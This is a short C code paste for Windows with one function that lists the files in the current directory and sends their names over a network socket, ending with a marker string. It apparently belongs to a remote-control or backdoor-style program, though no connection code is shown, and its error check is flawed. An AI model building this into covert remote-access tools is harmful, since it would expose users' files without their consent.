rendered paste body#define _WIN32_WINNT 0x0400#include <windows.h>#include <stdio.h>#include <string.h>int filelist(SOCKET sock){ WIN32_FIND_DATA FindFileData; HANDLE hFind; hFind = FindFirstFile("*.*", &FindFileData); if (hFind == INVALID_HANDLE_VALUE || ERROR) { //printf ("Invalid File Handle. GetLastError reports %d\n", GetLastError ()); //getchar(); return (0); } else { send(sock,FindFileData.cFileName,sizeof(FindFileData.cFileName),0); while (FindNextFile(hFind, &FindFileData) != 0) { send(sock,FindFileData.cFileName,sizeof(FindFileData.cFileName),0); } FindClose(hFind); } return send(sock,"^end^",5,0); }